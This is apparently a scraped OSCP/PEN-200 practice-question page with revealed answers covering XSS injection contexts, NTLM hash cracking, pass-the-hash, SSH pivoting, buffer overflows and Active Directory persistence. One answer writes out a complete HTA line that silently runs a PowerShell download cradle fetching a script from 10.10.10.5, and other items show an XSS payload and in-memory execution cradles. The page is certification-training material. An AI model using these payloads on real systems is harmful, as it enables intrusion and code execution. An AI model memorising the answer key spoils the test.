Courseiva
`","comment":{"@type":"Comment","text":"The injection point is inside a JavaScript string, not in HTML body content. A script tag would be treated as literal text within the JavaScript string and would not create a new script element. HTML-parsing payloads fail because the browser has already entered the script data state before reaching the reflected value, so no tag is constructed."}},{"@type":"Answer","text":"`' onmouseover='alert(document.domain)`","comment":{"@type":"Comment","text":"This payload targets an HTML attribute context, attempting to close an attribute and add an event handler. Because the reflection is inside a JavaScript string, the single quote and onmouseover text remain inside the string and are never parsed as HTML attributes. No event is registered and no script executes in this scenario."}},{"@type":"Answer","text":"`javascript:alert(document.domain)`","comment":{"@type":"Comment","text":"The javascript: pseudo-protocol only executes when used as a URL in an href or similar navigation context. Here the value is embedded in a script string, so the browser treats it as plain characters, not a navigable URI. It cannot break out of the string or execute code in this reflection context."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"During an internal penetration test you compromise a domain-joined workstation and recover a user's NTLMv2 hash via a forced authentication attempt. SMB signing is enforced on all servers, and the cli","url":"https://courseiva.com/questions/offsec/offsec-oscp/during-an-internal-penetration-test-you-compromise-a-domain--puglv","acceptedAnswer":{"@type":"Answer","text":"Use Responder in analyze mode to capture the challenge/response, then run Hashcat with mode 5600 against the captured netntlmv2 hash and a targeted wordlist.","comment":{"@type":"Comment","text":"NTLMv2 challenge/response pairs are stored in the netntlmv2 format, which Hashcat mode 5600 is designed to crack. Because SMB signing blocks relay and the client will not initiate outbound SMB, offline cracking is the viable path. Capturing in analyze mode avoids poisoning traffic you cannot use and keeps the evidence clean for the report."}},"suggestedAnswer":[{"@type":"Answer","text":"Use ntlmrelayx.py with the --no-smb-server flag to forward the authentication to a domain controller and dump the SAM database.","comment":{"@type":"Comment","text":"Relaying to a domain controller over SMB fails because SMB signing is enforced on the servers, and forwarding authentication to a DC does not yield the local SAM. The --no-smb-server flag only disables the embedded SMB listener; it does not bypass signing. This path cannot succeed in the described environment."}},{"@type":"Answer","text":"Use CrackMapExec with the --hash option to spray the netntlmv2 response across the domain and identify where the account is valid.","comment":{"@type":"Comment","text":"CrackMapExec's --hash option expects an NT hash or LM:NT pair, not a netntlmv2 challenge/response. Supplying a captured response there will not authenticate. Password spraying also requires a plaintext or NT hash credential, so this approach cannot work with the artifact recovered."}},{"@type":"Answer","text":"Run Mimikatz with the sekurlsa::pth module to inject the captured NTLMv2 response into a new logon session and authenticate as the user.","comment":{"@type":"Comment","text":"Pass-the-Hash requires an NT hash, not an NTLMv2 challenge/response. sekurlsa::pth consumes an NT hash to create a network logon session. A captured netntlmv2 response cannot be used directly in this module, so the technique does not apply to the artifact that was recovered."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"A junior penetration tester is preparing a payload for a Windows 10 target with Windows Defender enabled. The tester wants to avoid writing the payload to disk and decides to use a PowerShell one-line","url":"https://courseiva.com/questions/offsec/offsec-oscp/a-junior-penetration-tester-is-preparing-a-payload-for-a-win-89gwa","acceptedAnswer":{"@type":"Answer","text":"Invoke-Expression (IEX) with a downloaded string.","comment":{"@type":"Comment","text":"Invoke-Expression evaluates a string as PowerShell code in the current session. When combined with a download cradle such as (New-Object Net.WebClient).DownloadString('http://...'), the script is fetched into memory and executed immediately, leaving no file on disk. This is a common in-memory execution technique that helps evade file-based detection, though AMSI may still inspect the script content at runtime."}},"suggestedAnswer":[{"@type":"Answer","text":"Add-Type with a downloaded assembly.","comment":{"@type":"Comment","text":"Add-Type compiles and loads .NET source code or assemblies into the current PowerShell session. While it can load an assembly from a byte array, it is designed for .NET types, not for executing a PowerShell script string. Using it for a script would require wrapping the script in a .NET class, which is more complex and not the intended in-memory script execution method. It does not directly evaluate PowerShell code from a downloaded string."}},{"@type":"Answer","text":"Start-Process with the -FilePath parameter pointing to a URL.","comment":{"@type":"Comment","text":"Start-Process launches an executable or document from a file path or URL, but it does not interpret PowerShell code. If pointed to a URL, it would attempt to open the resource with the default handler, not execute it as a script in memory. This does not provide in-memory script execution and would likely fail or prompt the user, making it unsuitable for the tester's goal of running a downloaded script without saving it."}},{"@type":"Answer","text":"Import-Module with a URL to a .psm1 file.","comment":{"@type":"Comment","text":"Import-Module expects a local file path or a module name, not a URL. It cannot directly download and import a module from the web. Even if a module were downloaded, importing it would load the module's functions but not execute arbitrary script code as a one-liner. This approach does not achieve immediate in-memory execution of a downloaded script and would require additional steps to save the file first."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"A public exploit for a Windows service is written in Python and uses the 'impacket' library. On your Kali attacker machine, running it fails with an ImportError for impacket. What is the most appropri","url":"https://courseiva.com/questions/offsec/offsec-oscp/a-public-exploit-for-a-windows-service-is-written-in-python--oq3g0","acceptedAnswer":{"@type":"Answer","text":"Install the impacket package on Kali using the distribution's package manager or pip, then rerun the exploit.","comment":{"@type":"Comment","text":"The ImportError means the impacket library is simply absent from the Python environment. Installing it through the distribution package manager or pip resolves the dependency directly, after which the exploit can run unchanged. This is the minimal, correct fix because the exploit's logic is not the problem."}},"suggestedAnswer":[{"@type":"Answer","text":"Copy the impacket directory from a different tool's installation folder into the exploit's working directory.","comment":{"@type":"Comment","text":"Copying an arbitrary impacket directory risks version mismatches and missing compiled dependencies, which can produce subtle protocol errors rather than a clean fix. It also bypasses the package manager that would track, update, and verify the library, leaving the environment in an inconsistent state that is hard to troubleshoot later."}},{"@type":"Answer","text":"Rewrite the exploit to use raw sockets so no external library is required.","comment":{"@type":"Comment","text":"Rewriting to raw sockets discards the SMB or RPC handling that impacket provides and would require reimplementing complex protocol logic, which is error-prone and unnecessary. The missing dependency is a solvable environment issue, so replacing the library with hand-rolled code adds risk without addressing the actual cause of the failure."}},{"@type":"Answer","text":"Run the exploit with Python 2 instead of Python 3 to avoid the import error.","comment":{"@type":"Comment","text":"Switching interpreter versions does not install impacket; if the library is missing for Python 3 it is likely missing for Python 2 as well. Modern impacket releases target Python 3, so forcing Python 2 may introduce syntax and compatibility failures while leaving the original missing-dependency problem unresolved."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"During a Windows privilege escalation assessment, you encounter a service with an unquoted service path: 'C:\\Program Files\\Vulnerable Service\\service.exe'. The service runs as LocalSystem. Which TWO c","url":"https://courseiva.com/questions/offsec/offsec-oscp/during-a-windows-privilege-escalation-assessment-you-encount-wqalk","acceptedAnswer":{"@type":"Answer","text":"You must be able to restart the service or trigger a system reboot.","comment":{"@type":"Comment","text":"After placing the malicious binary, the service must execute it. This requires the service to start or restart. If you cannot restart the service yourself, waiting for a system reboot may also trigger it if the service starts automatically. Without execution, the exploit does not escalate privileges."}},"suggestedAnswer":[{"@type":"Answer","text":"The service must be configured to start automatically.","comment":{"@type":"Comment","text":"The service does not need to start automatically; it just needs to be started or restarted at some point. Even a manual or triggered start can execute the malicious binary. The key is that the service runs with high privileges and the path is unquoted, not the startup type."}},{"@type":"Answer","text":"The service binary must be missing from its intended location.","comment":{"@type":"Comment","text":"The binary does not need to be missing. The unquoted path vulnerability exists because Windows will try to execute binaries from each space-separated segment before the legitimate one. Even if the legitimate binary exists, the malicious one in an earlier path will be executed first if it exists and is writable."}},{"@type":"Answer","text":"You must have administrative privileges to exploit the service.","comment":{"@type":"Comment","text":"The point of privilege escalation is to gain administrative privileges, not to already have them. The exploit relies on weak directory permissions that allow a low-privileged user to write to a directory in the path. Requiring admin rights would defeat the purpose."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"You have an SSH dynamic forward running on port 1080 to a compromised Linux host, and you want to use it with a tool that supports SOCKS5 natively. Which environment variable or configuration is most ","url":"https://courseiva.com/questions/offsec/offsec-oscp/you-have-an-ssh-dynamic-forward-running-on-port-1080-to-a-co-tyxp6","acceptedAnswer":{"@type":"Answer","text":"Use the tool's native SOCKS5 option, such as --proxy socks5://127.0.0.1:1080 or the equivalent for that tool.","comment":{"@type":"Comment","text":"Tools that support SOCKS5 natively provide a command-line option or configuration setting to specify the proxy address and port. For example, curl uses --proxy socks5://127.0.0.1:1080, and many others have similar flags. This is the most direct and reliable way to route the tool's traffic through the SSH dynamic forward without additional wrappers."}},"suggestedAnswer":[{"@type":"Answer","text":"Set the ALL_PROXY environment variable to 127.0.0.1:1080.","comment":{"@type":"Comment","text":"The ALL_PROXY variable is recognized by some libraries, but it typically expects a proxy URL including the scheme, such as socks5://127.0.0.1:1080. Simply providing host and port without the scheme may cause the tool to misinterpret it or ignore it. Moreover, not all tools honor ALL_PROXY, so it is less reliable than a native option."}},{"@type":"Answer","text":"Configure the tool to use a PAC file that points to 127.0.0.1:1080.","comment":{"@type":"Comment","text":"A PAC file is used by browsers and some HTTP clients to determine proxy settings dynamically, but it is designed for HTTP proxies and web traffic. It is not a general mechanism for directing arbitrary TCP tools through a SOCKS5 proxy. Using a PAC file here adds complexity and does not reliably route non-HTTP traffic."}},{"@type":"Answer","text":"Set the http_proxy environment variable to socks5://127.0.0.1:1080.","comment":{"@type":"Comment","text":"The http_proxy variable is used by many tools to specify an HTTP proxy, not a SOCKS proxy. Some tools may accept a socks5 URL in this variable, but it is not reliable and is not the standard mechanism for SOCKS. For tools that support SOCKS natively, a dedicated option or a different variable is typically required."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"You are performing a network scan on a client segment and notice that a host responds to ICMP echo requests but shows all TCP ports as 'filtered' when using Nmap. Which conclusion is most accurate?","url":"https://courseiva.com/questions/offsec/offsec-oscp/you-are-performing-a-network-scan-on-a-client-segment-and-no-51406","acceptedAnswer":{"@type":"Answer","text":"A network-based firewall is likely dropping incoming TCP packets while allowing ICMP traffic to pass through.","comment":{"@type":"Comment","text":"Nmap reports 'filtered' when it cannot determine if a port is open because probes are blocked. Since ICMP succeeds, the host is alive, but TCP packets are being dropped by a firewall. This is a common scenario in enterprise environments where ICMP is permitted for monitoring but TCP access is restricted."}},"suggestedAnswer":[{"@type":"Answer","text":"The target machine is powered off and the ICMP response is generated by a gateway device.","comment":{"@type":"Comment","text":"If the host were powered off, ICMP replies would typically originate from a gateway only if an explicit route exists, but Nmap would differentiate this. The 'filtered' state specifically implies an active security appliance or software firewall is dropping the TCP traffic, not that the target host is unreachable."}},{"@type":"Answer","text":"The target host is running a non-standard TCP/IP stack that ignores all incoming connection attempts.","comment":{"@type":"Comment","text":"Standard TCP/IP stacks respond to connection attempts with RST packets if no service is listening. Ignoring probes without sending RST packets is the hallmark of a stateful firewall or a strict local iptables rule, not a property of the TCP/IP stack implementation itself. This behavior is intentional security configuration."}},{"@type":"Answer","text":"The network interface on the target machine is misconfigured and unable to process TCP/IP traffic.","comment":{"@type":"Comment","text":"A misconfigured network interface would generally result in a complete loss of connectivity, including ICMP. Because ICMP responses are being received, the network stack is functioning correctly. The issue is strictly related to the filtering of TCP packets, which is consistent with security policies rather than hardware misconfiguration."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"You are enumerating a Linux target and discover that TCP port 2049 is open. You run `showmount -e 192.168.1.100` and see that the `/home` directory is exported to everyone. What is the most significan","url":"https://courseiva.com/questions/offsec/offsec-oscp/you-are-enumerating-a-linux-target-and-discover-that-tcp-por-7ng23","acceptedAnswer":{"@type":"Answer","text":"An attacker can mount the share and read or modify any user's home directory files, potentially leading to privilege escalation.","comment":{"@type":"Comment","text":"When NFS exports a directory to everyone (i.e., world-readable and writable), any remote attacker can mount it without authentication. This grants access to all files within /home, including sensitive data like SSH keys, configuration files, and scripts. If writable, an attacker could inject malicious code or modify authorized_keys to escalate privileges."}},"suggestedAnswer":[{"@type":"Answer","text":"The NFS service is vulnerable to a buffer overflow that allows remote code execution.","comment":{"@type":"Comment","text":"While NFS implementations may have vulnerabilities, the scenario describes a misconfiguration (export to everyone) rather than a specific software vulnerability. The primary risk here is unauthorized access due to weak export permissions, not a buffer overflow. Assuming a buffer overflow without evidence is speculative."}},{"@type":"Answer","text":"An attacker can use the NFS share to perform a denial-of-service attack by filling the disk.","comment":{"@type":"Comment","text":"A denial-of-service by filling the disk is possible if the share is writable, but it is not the most significant risk. The ability to read and modify user files, including SSH keys and sensitive data, poses a much greater threat because it can lead to full system compromise. The question asks for the most significant risk."}},{"@type":"Answer","text":"The NFS share allows anonymous FTP access to the same directory.","comment":{"@type":"Comment","text":"NFS and FTP are separate protocols. An NFS export does not imply that FTP is running or that it shares the same directory. This option incorrectly conflates two different services. The presence of NFS on port 2049 does not indicate anything about FTP."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"You are reviewing a public exploit for a Linux-based web application. The exploit script contains a function that constructs a payload using a format string vulnerability. Which of the following best ","url":"https://courseiva.com/questions/offsec/offsec-oscp/you-are-reviewing-a-public-exploit-for-a-linux-based-web-app-ahqim","acceptedAnswer":{"@type":"Answer","text":"The addresses of libc functions such as system() may differ, causing the exploit to jump to an invalid location.","comment":{"@type":"Comment","text":"Different libc versions have different function addresses due to compilation and ASLR. If the exploit hardcodes addresses from one libc, it will fail on another. This is a common issue when using public exploits across systems with different libc versions."}},"suggestedAnswer":[{"@type":"Answer","text":"The exploit may trigger a stack canary check, which is not present in the original environment.","comment":{"@type":"Comment","text":"Stack canaries are a compiler-level protection, not libc-dependent. If the target binary was compiled with stack canaries, the exploit would fail regardless of libc version. The scenario focuses on libc differences, so this is not the primary risk."}},{"@type":"Answer","text":"The format string offset may differ, causing the exploit to write to an incorrect memory address.","comment":{"@type":"Comment","text":"The format string offset is determined by the number of arguments before the format string on the stack. This offset is typically consistent across libc versions for the same binary and calling convention. While it can vary, it is not the primary risk when libc changes."}},{"@type":"Answer","text":"The format string vulnerability may be patched in the newer libc, rendering the exploit ineffective.","comment":{"@type":"Comment","text":"The format string vulnerability is in the application, not libc. Libc provides the printf family functions, but the vulnerability arises from improper use in the application. Patching libc would not fix the application's misuse, so this is not the primary risk."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"You download a public exploit from Exploit-DB for a known vulnerability in a web application. Before running it against a client's production server, which action is the MOST appropriate next step?","url":"https://courseiva.com/questions/offsec/offsec-oscp/you-download-a-public-exploit-from-exploit-db-for-a-known-vu-wh89o","acceptedAnswer":{"@type":"Answer","text":"Review the exploit's source code to understand its actions and test it in a lab environment first.","comment":{"@type":"Comment","text":"Public exploits may contain destructive payloads, hardcoded callbacks, or backdoors. Reviewing the source reveals what the code does, and testing in a lab confirms behavior without risking the client's production system. This aligns with professional penetration testing practice and the OSCP emphasis on understanding and validating tools before use."}},"suggestedAnswer":[{"@type":"Answer","text":"Run the exploit immediately because Exploit-DB entries are verified by OffSec.","comment":{"@type":"Comment","text":"Exploit-DB entries are community-submitted and not all are verified by OffSec. Running an untrusted exploit against production without review risks unintended damage, data loss, or introducing malware. The responsible approach is to review the code, understand its actions, and test in a controlled environment before touching production."}},{"@type":"Answer","text":"Ask the client to disable their antivirus so the exploit runs without interference.","comment":{"@type":"Comment","text":"Requesting AV disablement before understanding the exploit is premature and unprofessional. It also changes the environment in ways that may not reflect real attacker conditions. The immediate next step is to review and lab-test the code. AV evasion, if needed, is a later consideration handled within the rules of engagement."}},{"@type":"Answer","text":"Submit the exploit to VirusTotal to confirm it is not malicious, then run it.","comment":{"@type":"Comment","text":"VirusTotal flags many legitimate exploits as malicious because they contain shellcode or reverse-shell logic. A clean or flagged result does not reliably indicate safety or intent. It also uploads the file to a third party, which may violate engagement confidentiality. Source review and lab testing are more informative and safer."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"In the context of password cracking, what is a 'rule' in tools like Hashcat or John the Ripper?","url":"https://courseiva.com/questions/offsec/offsec-oscp/in-the-context-of-password-cracking-what-is-a-rule-in-too-030on","acceptedAnswer":{"@type":"Answer","text":"A transformation applied to dictionary words to simulate common password modifications.","comment":{"@type":"Comment","text":"Rules are a set of instructions applied to words in a dictionary. For example, a rule might convert 'password' into 'Password123!'. This significantly increases the effectiveness of a dictionary attack by covering common user habits like capitalizing the first letter or appending special characters to a base word."}},"suggestedAnswer":[{"@type":"Answer","text":"A predefined security policy set by the organization to ensure password complexity.","comment":{"@type":"Comment","text":"A security policy is a set of rules enforced by an organization, but this is entirely different from the 'rules' used in password cracking tools. Confusing organizational policy with tool-specific functionality is a conceptual error that could lead to misunderstandings about how cracking software operates."}},{"@type":"Answer","text":"A configuration setting that defines the maximum length of the cracked password.","comment":{"@type":"Comment","text":"Limiting password length is usually handled by the cracking tool's command-line arguments or specific algorithm constraints, not by 'rules'. Rules are meant for mutation, not for defining the boundaries or constraints of the cracking process itself, which are generally set at the start of the execution."}},{"@type":"Answer","text":"A list of known leaked passwords that the tool compares against the hash directly.","comment":{"@type":"Comment","text":"A list of leaked passwords is referred to as a wordlist or dictionary file, not a rule. Rules are the logic applied to the wordlist, not the wordlist itself. Confusing these terms leads to a poor understanding of how to configure and execute effective password cracking campaigns."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"You are crafting a malicious HTML Application (.hta) to deliver to a Windows user during a phishing engagement. When the file is opened, you want it to execute a PowerShell download cradle that fetche","url":"https://courseiva.com/questions/offsec/offsec-oscp/you-are-crafting-a-malicious-html-application-hta-to-deliver-8nhla","acceptedAnswer":{"@type":"Answer","text":"CreateObject(\"WScript.Shell\").Run \"powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/a.ps1')\", 0, False","comment":{"@type":"Comment","text":"WScript.Shell.Run launches the specified command line, and the window-style argument 0 hides the console while False returns immediately without waiting. Embedding a PowerShell download cradle this way makes the HTA fetch and execute the second stage transparently to the user. This is the canonical construct used when an HTA must silently invoke PowerShell on open."}},"suggestedAnswer":[{"@type":"Answer","text":"CreateObject(\"WScript.Network\").MapNetworkDrive \"Z:\", \"\\\\10.10.10.5\\share\"","comment":{"@type":"Comment","text":"WScript.Network.MapNetworkDrive connects an SMB share to a drive letter. It does not download an HTTP payload and does not launch PowerShell, so it neither fetches the second stage over HTTP nor executes it. Mapping a drive could even trigger authentication to an attacker SMB listener, but that is a different technique than the one requested here."}},{"@type":"Answer","text":"CreateObject(\"MSXML2.XMLHTTP\").Open \"GET\", \"http://10.10.10.5/a.ps1\", False","comment":{"@type":"Comment","text":"XMLHTTP.Open merely initializes an HTTP request object; it does not send the request or execute the response. Without a subsequent Send and an execution primitive such as WScript.Shell.Run, no PowerShell process is created. This option retrieves nothing and executes nothing, so it cannot satisfy the objective."}},{"@type":"Answer","text":"CreateObject(\"Scripting.FileSystemObject\").OpenTextFile \"http://10.10.10.5/a.ps1\"","comment":{"@type":"Comment","text":"FileSystemObject.OpenTextFile reads local files from disk and does not perform HTTP requests, so pointing it at a URL fails outright. Even if it returned content, it would only give you a text stream, not process execution. It therefore cannot spawn PowerShell or fetch the remote second stage as required."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"During an internal penetration test, you compromise a Linux host that has outbound SSH access to your attacking machine but cannot directly reach an internal Windows server on 10.10.10.5:445. You need","url":"https://courseiva.com/questions/offsec/offsec-oscp/during-an-internal-penetration-test-you-compromise-a-linux-h-08kpq","acceptedAnswer":{"@type":"Answer","text":"ssh -L 127.0.0.1:4450:10.10.10.5:445 user@compromised-host","comment":{"@type":"Comment","text":"This command creates a local port forward from your attacking machine's loopback interface on port 4450 to 10.10.10.5:445 through the compromised host. Because the compromised host can reach the internal Windows server, the SSH server relays the connection. You would then point your SMB client to 127.0.0.1:4450 to access the internal service."}},"suggestedAnswer":[{"@type":"Answer","text":"ssh -R 127.0.0.1:4450:10.10.10.5:445 user@compromised-host","comment":{"@type":"Comment","text":"Remote port forwarding (-R) would make the compromised host listen on its own loopback port 4450 and forward connections back to your attacking machine's 10.10.10.5:445. That direction is opposite to what you need; your local tools would not be able to reach the internal server through this tunnel because the listening socket resides on the pivot host, not locally."}},{"@type":"Answer","text":"ssh -D 127.0.0.1:4450 user@compromised-host","comment":{"@type":"Comment","text":"The -D option creates a dynamic SOCKS proxy on local port 4450, not a direct static forward to 10.10.10.5:445. While you could later use a SOCKS-capable tool to reach the internal server, the scenario asks for a direct tunnel for SMB tools; using -D alone does not automatically forward SMB traffic and requires additional client configuration."}},{"@type":"Answer","text":"ssh -L 10.10.10.5:445:127.0.0.1:4450 user@compromised-host","comment":{"@type":"Comment","text":"This command attempts to bind a local listener on 10.10.10.5, an address that does not exist on your attacking machine, and forwards it to your own loopback port 4450. It reverses the source and destination and uses an invalid local bind address, so it fails to create the intended tunnel to the internal SMB service."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"During a stack-based buffer overflow exploitation attempt in a Win32 environment, you notice that your shellcode execution fails because certain memory addresses contain null bytes (0x00). Which compo","url":"https://courseiva.com/questions/offsec/offsec-oscp/during-a-stack-based-buffer-overflow-exploitation-attempt-in-2ah0v","acceptedAnswer":{"@type":"Answer","text":"Sending a byte array from 0x00 to 0xFF into the vulnerable buffer and inspecting memory to see which bytes are altered or truncated.","comment":{"@type":"Comment","text":"Sending a comprehensive byte array allows you to observe how the target application handles each hex value in real time. If a function stops copying data prematurely, the offending byte is identified as a restriction and must be avoided in your final payload."}},"suggestedAnswer":[{"@type":"Answer","text":"Generating a cyclic pattern using pattern_create.rb to determine the precise offset required to overwrite the saved instruction pointer.","comment":{"@type":"Comment","text":"Pattern generation focuses exclusively on identifying the exact byte offset where the instruction pointer is overwritten. It uses unique sub-strings to measure distances within memory but does not analyze or filter restricted byte values required for stable execution."}},{"@type":"Answer","text":"Analyzing memory contents in a debugger to find a stable return-oriented programming gadget pointer.","comment":{"@type":"Comment","text":"Return-oriented programming gadgets are utilized to bypass modern defenses like Data Execution Prevention rather than identifying restricted byte values. Searching for gadgets involves looking for specific instruction sequences like pop-ret combinations rather than filtering out specific memory halting characters."}},{"@type":"Answer","text":"Compiling the exploit script with Python to encode the payload using a standard XOR-based encoding scheme.","comment":{"@type":"Comment","text":"Encoders modify payload structures to evade simple signature-based detection or bypass bad characters, but they do not perform the empirical discovery phase necessary to find which characters are actually restricted by the target application environment."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"Which THREE of the following are essential steps when manually exploiting a stack-based buffer overflow?","url":"https://courseiva.com/questions/offsec/offsec-oscp/which-three-of-the-following-are-essential-steps-when-manual-m5kj9","acceptedAnswer":{"@type":"Answer","text":"Identifying the crash offset by using a pattern generator.","comment":{"@type":"Comment","text":"Using a unique cyclic pattern allows you to precisely determine the number of bytes required to overwrite the return address. This step is critical because any error in calculating the offset will cause the exploit to crash the program at the wrong location or fail to overwrite the target."}},"suggestedAnswer":[{"@type":"Answer","text":"Disabling all firewall rules on the victim machine.","comment":{"@type":"Comment","text":"Disabling firewall rules is not a step in buffer overflow exploitation. While you may need to ensure your shellcode can communicate back, the vulnerability exists within the application binary's memory handling. Security controls like firewalls are external to the local memory corruption process and do not affect the exploit."}},{"@type":"Answer","text":"Upgrading the target application to the latest version.","comment":{"@type":"Comment","text":"Upgrading the application would likely patch the vulnerability you are attempting to exploit. In a penetration test, you work with the vulnerable version provided. The goal is to identify and weaponize the existing flaw, not to make the application more secure through patching or standard maintenance procedures."}}]},{"@context":"https://schema.org","@type":"Quiz","name":"You have successfully obtained a NTLM hash dump from a domain controller. You intend to perform a pass-the-hash attack to move laterally. What is the most critical requirement for this technique to su","url":"https://courseiva.com/questions/offsec/offsec-oscp/you-have-successfully-obtained-a-ntlm-hash-dump-from-a-domai-xjscg","acceptedAnswer":{"@type":"Answer","text":"The authentication protocol must permit NTLM or legacy authentication methods to facilitate the hash usage.","comment":{"@type":"Comment","text":"Pass-the-hash depends on the target service or system accepting NTLM authentication. If an environment is strictly configured to use Kerberos-only authentication and NTLM is disabled via Group Policy or security settings, the hash will fail to authenticate because the system will reject the NTLM challenge-response sequence entirely."}},"suggestedAnswer":[{"@type":"Answer","text":"The target system must have the Kerberos pre-authentication disabled for the user account.","comment":{"@type":"Comment","text":"Kerberos pre-authentication is unrelated to NTLM-based pass-the-hash attacks. While disabling it facilitates AS-REP roasting, it does not enable pass-the-hash functionality. NTLM authentication occurs independently of Kerberos mechanisms, meaning the state of pre-authentication on the domain controller has no bearing on whether an NTLM hash can be used successfully."}},{"@type":"Answer","text":"The victim machine must have the 'Restricted Admin' mode enabled in the RDP configuration.","comment":{"@type":"Comment","text":"Restricted Admin mode for RDP is a specific security feature designed to prevent credential exposure during remote sessions. While it relates to how credentials are handled, it is not a prerequisite for conducting a pass-the-hash attack, which typically utilizes tools like Mimikatz or Impacket to inject hashes into an existing session."}},{"@type":"Answer","text":"The target machine must be running a version of Windows older than Windows Server 2012.","comment":{"@type":"Comment","text":"Pass-the-hash is not limited to legacy Windows versions. While newer versions have introduced protections like Credential Guard, the fundamental vulnerability inherent to the NTLM protocol remains present across all modern versions of Windows, provided the protocol itself is not explicitly disabled within the domain or local security policy."}}]}]

OffSec PEN-200 / OSCP Concepts (PEN-200) — Questions 76–150

285 questions total · 4 pages · All types, answers revealed

Page 1

Page 2 of 4

Page 3
76
MCQeasy

While enumerating a Linux host, you notice that the `passwd` command has the SUID bit set and is owned by root. You recall that SUID binaries run with the privileges of the file owner. Which of the following is the most direct way to leverage this to gain root access?

A.Run `passwd` and change the root password.
B.The SUID bit on `passwd` is standard and does not by itself allow privilege escalation.
C.Use the SUID bit to read the `/etc/shadow` file and crack the root hash.
D.Exploit a vulnerability in the `passwd` binary to execute arbitrary code.
AnswerB

The `passwd` command is commonly SUID root by default on many Linux distributions to allow users to change their own passwords by writing to `/etc/shadow`. This is a legitimate, expected configuration and does not constitute a vulnerability. Without an additional flaw or misconfiguration, the SUID bit on passwd cannot be leveraged for privilege escalation. Recognizing standard SUID binaries is crucial to avoid false positives during enumeration.

Why this answer

The SUID bit on `/usr/bin/passwd` is a standard, secure configuration present on most Linux systems. It allows unprivileged users to change their own passwords by temporarily elevating privileges to write to `/etc/shadow`. This is not a vulnerability; the binary enforces strict access controls.

Therefore, it does not provide a direct path to root. Testers should focus on non-standard SUID binaries or misconfigurations rather than expected ones.

Exam trap

The trap here is assuming that any SUID root binary is exploitable, when in fact many are standard and secure by design.

77
MCQhard

You compromise a Windows host and dump local account hashes with secretsdump, obtaining the NTLM hash of a local administrator. That same local administrator password was reused across every workstation in the environment. Which technique most directly allows lateral movement to other hosts using that hash without ever recovering the cleartext password?

A.Kerberoasting the local administrator account to request a service ticket
B.AS-REP roasting the local account to recover its hash offline
C.Pass-the-Hash using the NTLM hash to authenticate to SMB on other hosts
D.Downgrading NTLM to LM and replaying the resulting LM hash
AnswerC

Pass-the-Hash abuses the NTLM challenge-response protocol: because the stored NTLM hash is itself the credential used to compute the response, an attacker can authenticate to SMB, WMI, or other services by supplying the hash directly, without cracking it. When the local administrator password is reused, the same hash grants access on every affected workstation, enabling rapid lateral movement.

Why this answer

Pass-the-Hash works because NTLM authentication relies on the stored hash to compute the challenge response, so possessing the hash equals possessing the credential for that account. With the local administrator password reused across workstations, feeding the hash to tools that support hash-based SMB authentication lets you move laterally to each host without cracking anything. Kerberos-based roasting techniques do not apply to local SAM accounts.

Exam trap

The trap here is assuming any hash must be cracked to cleartext before it can be used; NTLM hashes are directly replayable, so cracking is unnecessary for lateral movement.

78
MCQeasy

What is the primary goal of utilizing an intercepting proxy during a web application penetration test?

A.To automatically find and patch all vulnerabilities in the application.
B.To manipulate HTTP requests and responses for vulnerability testing.
C.To increase the network speed of the testing machine.
D.To hide the tester's identity from the target server.
AnswerB

The core function of a proxy is to intercept the traffic stream. This allows the tester to modify parameters, headers, or payloads before they reach the server, enabling precise testing of input validation, authentication, and authorization mechanisms, which is the cornerstone of professional web application assessment.

Why this answer

An intercepting proxy allows the tester to pause, inspect, and modify HTTP traffic between the client and the server. This is essential for discovering hidden parameters, testing edge cases, and bypassing client-side validation controls. By controlling the request flow, testers can effectively manipulate application logic to uncover vulnerabilities that would be impossible to trigger through standard web browser interaction alone, making it an indispensable tool for deep analysis.

Exam trap

Candidates often view the proxy as just a passive capture tool, failing to utilize the modification capabilities that allow them to bypass client-side logic and test backend input validation.

79
MCQhard

Refer to the exhibit. An examiner attempts to use raw msfvenom output directly in a custom C template for a PEN-200 lab assignment, but the payload is instantly detected. Why is generating raw msfvenom output generally ineffective for antivirus evasion without further modification?

A.The C array output format automatically introduces formatting syntax errors that cause the compiler to generate invalid portable executable headers.
B.Default msfvenom payloads contain heavily signatured stager stubs and byte patterns that are universally fingerprinted by security products.
C.Using HTTPS as the communication protocol forces the stager to include unencrypted TLS certificates that antivirus software automatically blocks.
D.The 64-bit architecture flag conflicts with standard Windows Defender file scanning routines, triggering an immediate administrative alert.
AnswerB

Raw msfvenom output embeds the default Meterpreter stager stub, whose fixed byte sequences and shellcode patterns are catalogued by antivirus vendors. Detection therefore occurs on signature alone, before any behavioural analysis, so custom encoding or obfuscation is required.

Why this answer

Default msfvenom templates and encoders contain heavily signatured instruction patterns and well-known strings that antivirus vendors have fingerprinted extensively over many years. Without custom encoding, manual structural modifications, or custom loader implementation, raw framework outputs are immediately flagged by signature scanners.

Exam trap

Candidates often assume that changing output formats from raw bytes to a C array somehow modifies the underlying signature, whereas the actual bad byte sequences remain completely unchanged.

80
Multi-Selecthard

Which THREE of the following are valid techniques for achieving persistence within an Active Directory environment?

Select 3 answers
A.Skeleton Key
B.Golden Ticket
C.Kerberoasting
D.AdminSDHolder modification
E.LLMNR Poisoning
AnswersA, B, D

Skeleton Key is an in-memory patch applied to a domain controller that allows any user to authenticate with a master password while still allowing normal password authentication. This provides stealthy, persistent access to any account in the domain without requiring knowledge of the actual user passwords.

Why this answer

Persistence techniques involve creating backdoors that survive account password changes or system reboots. Skeleton Key modifies the LSASS process to accept a master password. Golden Tickets use the KRBTGT hash to forge TGTs indefinitely.

Security Descriptor changes on the 'AdminSDHolder' object ensure that specific permissions are consistently applied to privileged groups, even if an administrator removes them manually, maintaining long-term access.

Exam trap

Candidates often conflate credential dumping with persistence. While tools like Mimikatz extract credentials, persistence requires modifying system objects or services to maintain long-term access after a reboot or password change.

81
MCQhard

